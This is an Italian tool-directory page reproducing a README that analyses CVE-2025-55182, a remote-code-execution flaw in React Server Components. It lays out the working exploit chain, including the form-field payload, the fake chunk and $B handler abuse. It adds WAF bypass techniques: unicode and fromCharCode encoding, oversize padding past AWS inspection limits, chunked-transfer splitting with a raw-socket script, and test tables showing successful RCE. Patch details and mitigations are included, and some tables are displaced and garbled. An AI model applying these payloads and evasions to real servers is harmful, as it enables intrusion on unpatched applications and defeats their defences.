Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182 — Analisi tecnica dettagliata e proof-of-concept exploit per CVE-2025-55182, una vulnerabilità RCE critica in React's Flight Protocol. Copre path traversal, fake chunk injection e tecniche di bypass WAF. | Kitploit
Strumenti/GitHubGitHub/hulh122/cve-2025-55182
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebBypass WAFApprendimento e FormazioneSviluppo Payload
GitHubhulh122/cve-2025-55182

CVE-2025-55182

Analisi tecnica dettagliata e proof-of-concept exploit per CVE-2025-55182, una vulnerabilità RCE critica in React's Flight Protocol. Copre path traversal, fake chunk injection e tecniche di bypass WAF.

Vedi Repository
8 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-55182 - React Server Components RCE

NOTE: Written by AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 è una vulnerabilità RCE critica nel Flight Protocol di React. La catena d'attacco combina path traversal + fake chunk injection + $B handler abuse per eseguire Function(attacker_code).

Un grande ringraziamento a maple3142 per la catena di sfruttamento funzionante!


L'Exploit

Panoramica dell'attacco

L'exploit utilizza tre campi del modulo per costruire un payload malevolo:

  1. Crea un fake chunk object con then autoriferito (campo 1 $@0 → campo 0)
  2. Incorpora un fake _response con _formData.get impostato a $1:constructor:constructor
  3. Attiva il gestore $B che chiama response._formData.get(response._prefix + id)
  4. Path traversal risolve _formData.get → Function, eseguendo Function(code)

Flusso di sfruttamento```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Componenti Chiave

| Componente | Scopo |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable auto-referenziale; il chunk 1 (`$@0`) punta di nuovo al chunk 0 |
| `status: "resolved_model"` | Rende l'oggetto simile a un chunk React valido |
| `reason: -1` | Imposta rootReference a undefined (evita conflitti di riferimento) |
| `value: '{"then":"$B1337"}'` | Payload annidato che attiva il gestore `$B` |
| `_response._prefix` | Contiene la stringa di codice RCE |
| `_response._chunks: "$Q2"` | Mappa vuota per prevenire crash durante l'elaborazione dei chunk |
| `_response._formData.get` | Punta a `Function` tramite `$1:constructor:constructor` |

### Approfondimento dei Componenti

#### Struttura del Campo Modulo

L'exploit utilizza tre campi modulo con riferimenti circolari:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    ← references back to field 0
Field 2: []       ← empty array for _chunks Map

Thenable Auto-referenziale (then)

Il then: "$1:__proto__:then" crea un auto-riferimento che si risolve in una funzione reale:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

root@kitploit:~
**Perché questo è critico:**

1. `then` risolve in `Chunk.prototype.then` - una funzione invocabile reale
2. Questo rende l'oggetto falso un thenable valido
3. Quando viene atteso, JS chiama `obj.then(resolve, reject)`
4. `Chunk.prototype.then` viene eseguito con l'oggetto falso come `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
  1. initializeModelChunk(this) utilizza this._response - il falso _response dell'attaccante:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
root@kitploit:~
**Senza l'autoriferimento**, il falso `_response` non verrebbe mai utilizzato. L'autoriferimento fa sì che `Chunk.prototype.then` tratti l'oggetto dell'attaccante come un vero Chunk.

#### Trigger Thenable a Due Stadi (`value`)

Il campo `value` contiene una stringa JSON nidificata con un altro thenable:```json
{"then":"$B1337"}

Stage 1: Il then auto-referenziale dell'oggetto esterno attiva l'elaborazione dei blocchi

Stage 2: Quando React risolve il modello, analizza value e incontra un altro thenable con then: "$B1337". Il prefisso $B attiva il gestore:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

root@kitploit:~
`_formData.get` è `"$1:constructor:constructor"` → `getOutlinedModel()` si risolve in `Function`.

Diventa: `Function(code + "1337")` → JS valido perché `1337` è solo un'espressione finale.

#### Padding Difensivo (`_chunks`)

Il finto `_response` necessita di una proprietà `_chunks` valida per evitare crash:```
Form field "2": []           ← empty array
_chunks: "$Q2"               ← $Q = Map type, creates new Map([])

Il codice interno di React potrebbe accedere a response._chunks.get() o response._chunks.has() durante l'elaborazione. Una mappa vuota soddisfa queste chiamate senza errori, consentendo l'esecuzione di raggiungere il gestore vulnerabile $B.


Codice Vulnerabile Percorsi

decodeReply() è il punto di ingresso, non vulnerabile di per sé.

Path Traversal (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

root@kitploit:~
**Utilizzo delle risposte fittizie** (`initializeModelChunk()`):```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);

$B Handler RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

root@kitploit:~
---

## La correzione (19.2.1)

La patch include molteplici correzioni:

1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Correzione critica   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);

   // AFTER: Symbol lookup (cannot be forged via JSON)
   var response = chunk.reason[RESPONSE_SYMBOL];
   value = reviveModel(response, ...);
  1. hasOwnProperty controllo in getOutlinedModel() - Blocca l'attraversamento del prototipo ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
    root@kitploit:~
  2. __proto__ handling in reviveModel() - Previene l'inquinamento del prototipo ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
    root@kitploit:~
  3. Controllo del tipo in initializeModelChunk() - Convalida i listener ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
    root@kitploit:~

Impatto e Versioni

Valutazione dell'Impatto

CapacitàStatoNote
Attraversamento della catena dei prototipi

Versioni Affette

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: Stesse versioni
  • Next.js: 15.x, 16.x (prima delle patch), canary dalla 14.3.0-canary.77+

Versioni Corrette

  • React: 19.0.1+, 19.1.2+, 19.2.1+
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

Perché il Rilevamento WAF Basato su Firme Fallisce

Questa sezione spiega perché le tradizionali regole WAF basate su pattern matching non possono rilevare in modo affidabile questo exploit. Comprendere queste limitazioni è essenziale per i team di sicurezza che valutano la loro postura difensiva.

Il Problema Centrale: Codifica a Più Livelli

Il payload dell'exploit attraversa più parser, ciascuno con un supporto di codifica diverso. Un WAF che ispeziona i byte HTTP grezzi vede stringhe codificate, ma il server le decodifica prima di elaborarle:

LivelloParserDecodifica
Struttura JSON

Questo crea un disallineamento fondamentale: il WAF vede byte codificati, ma l'applicazione vede stringhe decodificate.

Cosa Dovrebbero Riconoscere le Firme

Un WAF ingenuo potrebbe cercare pattern come constructor, __proto__, resolved_model o child_process. Tuttavia, JSON consente escape unicode per qualsiasi carattere:

Il codice JavaScript all'interno del payload ha ancora più opzioni di codifica:

Pattern

Il Gap di Rilevamento

Quando tutte le tecniche di codifica sono combinate:

  • Le chiavi JSON diventano sequenze unicode (\u0074\u0068\u0065\u006e per then)
  • Gli identificatori JS diventano array numerici (S(99,104,105,108,100,95,...) per child_process)
  • Il payload grezzo non contiene parole chiave riconoscibili

Un WAF che esamina il corpo HTTP vede solo sequenze di escape e numeri - nulla che corrisponda alle firme di attacco tradizionali.

Perché Questo è Importante per i Difensori

  1. Le regole basate su firme danno una falsa fiducia - Il payload raggiunge il server senza essere rilevato
  2. La codifica è infinita - Ogni carattere può essere escapato in modo diverso; le regex non possono enumerare tutte le varianti
  3. L'attacco è conforme al protocollo - Tutte le codifiche sono JSON/JavaScript validi secondo le specifiche

Considerazioni sul Rilevamento degli Header

L'header Next-Action identifica le richieste Server Action. Sebbene i nomi degli header non possano essere codificati in unicode (RFC 7230 richiede token ASCII), le differenze di normalizzazione tra WAF e server creano gap di rilevamento:

Raccomandazioni Difensive

L'applicazione delle patch è l'unica mitigazione affidabile. Le regole WAF non possono bloccare completamente questo attacco a causa della flessibilità della codifica.

Versioni richieste:

  • React: 19.0.1+, 19.1.2+, 19.2.1+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Se la patch è ritardata, considera:

  1. Decodificare prima del matching - Il WAF deve decodificare \uXXXX, \xXX e normalizzare le chiamate fromCharCode() prima del pattern matching
  2. Rilevamento strutturale - Cerca strutture JSON contenenti _response, _prefix, _chunks o riferimenti circolari ($@0)
  3. Normalizzazione dell'header - Abbina l'header next-action in modo case-insensitive con troncamento degli spazi
  4. Bloccare le Server Action - Se non si usano Server Action, bloccare del tutto le richieste con header Next-Action
  5. Monitoraggio runtime - Avvisare su chiamate Function() con argomenti stringa dinamici

Punto chiave: Il pattern matching da solo fallirà contro questa classe di attacco. La superficie di codifica è troppo ampia da enumerare.


Bypass dei Limiti di Ispezione del Corpo di AWS WAF

Anche con regole WAF complete, AWS WAF ha limiti di dimensione per l'ispezione del corpo che possono essere sfruttati. Questa sezione documenta tecniche di bypass testate utilizzando payload sovradimensionati.

Limiti di Ispezione del Corpo

AWS WAF ispeziona solo una porzione del corpo della richiesta:

BackendLimite PredefinitoMassimo Configurabile
ALB / AppSync8 KB8 KB
CloudFront / API Gateway16 KB64 KB
Amazon Cognito / App Runner16 KB64 KB

Il Problema di OversizeHandling

Le regole WAF specificano come gestire le richieste che superano i limiti di ispezione:

Se la tua regola WAF usa OversizeHandling: CONTINUE (default comune), il bypass è banale.

Strategia di Bypass: Padding Prima del Payload

Posiziona dati di padding innocui prima del payload di exploit in modo che cada fuori dalla finestra di ispezione:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Risultati dei test

Tutti i payload oversize hanno ottenuto con successo RCE su Next.js:

| Dimensione Padding | Corpo Totale | Offset Exploit | Risultato |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |

### Bypass della codifica di trasferimento chunked

La codifica di trasferimento chunked di HTTP/1.1 suddivide il corpo in blocchi discreti. Se il WAF ispeziona i blocchi **prima** del riassemblaggio, i pattern che si estendono oltre i confini dei blocchi non verranno rilevati.

#### Come funziona```
HTTP Request with Transfer-Encoding: chunked

17f\r\n                           ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n                            ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n                         ← Terminator

Pattern suddiviso tra i chunk:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

root@kitploit:~
#### Strategie di Chunking Testate

| Strategia | Descrizione | Risultato |
|-----------|-------------|----------|
| Divisione a `$@` | `"$` \| `@0"` | ✅ RCE |
| Frammenti da 10 byte | Corpo diviso ogni 10 byte | ✅ RCE |
| Frammenti da 5 byte | Corpo diviso ogni 5 byte | ✅ RCE |
| Divisione a `status` | `sta` \| `tus` | ✅ RCE |

Tutte le strategie hanno ottenuto con successo RCE - Next.js riassembla correttamente le richieste chunked.

#### Esempio di Raw Socket```javascript
const net = require('net');
const socket = new net.Socket();

socket.connect(3000, 'localhost', () => {
  // Headers with chunked encoding
  socket.write([
    'POST / HTTP/1.1',
    'Host: localhost:3000',
    'Content-Type: multipart/form-data; boundary=----WebKit',
    'Transfer-Encoding: chunked',
    'Next-Action: test',
    '', ''
  ].join('\r\n'));

  // Chunk 1: everything up to and including "$
  const chunk1 = '...payload ending with "$';
  socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);

  // Chunk 2: "@0" and rest of payload
  const chunk2 = '@0"\r\n...rest of payload';
  socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);

  // Terminator
  socket.write('0\r\n\r\n');
});

Considerazioni sul comportamento del WAF

Nota: AWS WAF solitamente riassembla i corpi suddivisi in chunk prima dell'ispezione. Tuttavia, ciò dovrebbe essere verificato per ambiente poiché le configurazioni variano.

Raccomandazioni per la mitigazione

  1. Cambiare OversizeHandling in MATCH ```json "OversizeHandling": "MATCH"
    root@kitploit:~

Questo blocca qualsiasi richiesta che eccede il limite di ispezione quando le condizioni della regola sono soddisfatte.

  1. Aumenta il limite di ispezione del corpo (solo CloudFront/API Gateway) Configura fino a 64KB nelle impostazioni della web ACL, ma questo non previene completamente l'elusione.

  2. Aggiungi una regola di blocco basata sulla dimensione Blocca le richieste POST con header Next-Action che superano una dimensione ragionevole (es. 10KB).

  3. Applica una patch all'applicazione - L'unica soluzione completa.

Script di Test

Vedi gli script di test inclusi:

  • test-simple.cjs - Test di base del payload non suddiviso in blocchi
  • test-oversize.cjs - Testa dimensioni di padding da 0 a 128KB
  • test-chunked-v2.cjs - Codifica di trasferimento chunked con divisione $@
  • test-chunked-bypass.cjs - Strategie di chunking multiple (split da 5 byte, 10 byte, per pattern)

Utilizzo:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

root@kitploit:~
## Percorso di Ricerca

### La Vulnerabilità: Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
  reference = reference.split(":");
  var id = parseInt(reference[0], 16);
  var parentObject = response.chunks[id];

  // PATH TRAVERSAL - no hasOwnProperty check!
  for (var key = 1; key < reference.length; key++)
    parentObject = parentObject[reference[key]];  // VULNERABLE!

  return map(response, parentObject);
}

Con payload "$1:constructor:constructor":

  1. chunk[1]["constructor"] → [Function: Object]
  2. Object["constructor"] → [Function: Function]

Percorsi Bloccati che Abbiamo Provato

Mentre abbiamo ottenuto Function, per ottenere RCE è necessario chiamarlo con argomenti controllati. Questi percorsi hanno fallito:

1. Percorso Thenable (Bloccato)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

root@kitploit:~
**2. decodeAction Path (Bloccato)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body

3. Percorso iteratore (Bloccato)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute

root@kitploit:~
### La svolta

maple3142 ha trovato il pezzo mancante: il gestore `$B` + la catena fake `_response`. Facendo in modo che `then` risolva a `Chunk.prototype.then` tramite auto-riferimento, la `_response` fake viene utilizzata, abilitando RCE.

---

## Risultati chiave

1. **La vulnerabilità `getOutlinedModel()` è reale** - I percorsi separati da due punti consentono l'attraversamento della catena dei prototipi

2. **Il costruttore Function è accessibile** - `$1:constructor:constructor` funziona senza serverManifest

3. **RCE è raggiungibile** - Creando un chunk fake con `_response` controllata:
   - Auto-riferimento `$1:__proto__:then` → `Chunk.prototype.then` fa sì che la `_response` fake venga utilizzata
   - La struttura del chunk fake imita la classe Chunk interna di React
   - `_response._formData.get` → costruttore `Function`
   - `_response._prefix` → stringa di codice malevolo
   - Il gestore `$B` attiva `Function(codice_malevolo)`

4. **La correzione è completa** - Molteplici controlli `hasOwnProperty` e validazioni di tipo

---

## Riferimenti

- [Gist di maple3142](https://gist.github.com/maple3142) - Scoperta della catena RCE
- [React Security Advisory](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF Rule](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)

---

## Disclaimer

Questo repository è solo per **ricerca di sicurezza educativa e difensiva**. La vulnerabilità è stata corretta. Aggiorna immediatamente le tue dipendenze.
Scarica lo strumento
PercorsoFunzioneScopo nello sfruttamento
Path TraversalgetOutlinedModel()Risolve $1:constructor:constructor → Function
Fake _response InjectioninitializeModelChunk()Utilizza il chunk._response dell'attaccante
Gestore $BparseModelString()Chiama _formData.get(_prefix + id) → RCE
✓ Confermato
Via $1:constructor:constructor
Accesso al costruttore di Function✓ ConfermatoNessun manifest necessario
Piena RCE✓ ConfermatoVia fake chunk + $B handler
JSON.parse()
Escape unicode \uXXXX
Codice JavaScriptCostruttore Function()\uXXXX, \xXX, ottale, fromCharCode()
Pattern LetteraleEquivalente UnicodeRilevamento WAF
constructor\u0063onstructorEluso
__proto__\u005f\u005fproto\u005f\u005fEluso
resolved_model\u0072esolved_modelEluso
$@ (ref circolare)$\u0040Eluso
Opzioni di Codifica
process\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115)
child_process\x63hild_process, codici numerici dei caratteri, base64
Qualsiasi identificatoreNotazione con parentesi: this[S(112,114,...)] dove S=String.fromCharCode
VarianteComportamento ServerRischio WAF
next-action (minuscolo)Accettato (HTTP non fa distinzione tra maiuscole e minuscole)Perso se il WAF si aspetta il caso esatto
Next-Action:\tx (tabulazione)Accettato (spazi normalizzati)Perso se il WAF si aspetta uno spazio
Next-Action: x (spazi)AccettatoPerso senza normalizzazione
ImpostazioneComportamentoSfruttabile?
CONTINUEIspeziona i byte disponibili, valuta la regolaSì - il payload oltre il limite non viene ispezionato
MATCHConsidera come corrispondente (blocca)No - blocca le richieste sovradimensionate
NO_MATCHConsidera come non corrispondenteSì - passa attraverso
Tipo WAFGestione dei chunkBypass possibile?
AWS WAF (ALB)Riassembla prima dell'ispezioneImprobabile
AWS WAF (CloudFront)Riassembla prima dell'ispezioneImprobabile
Alcuni WAF legacyIspeziona per chunkSì
Nginx ModSecurityConfigurabileDipende dalla configurazione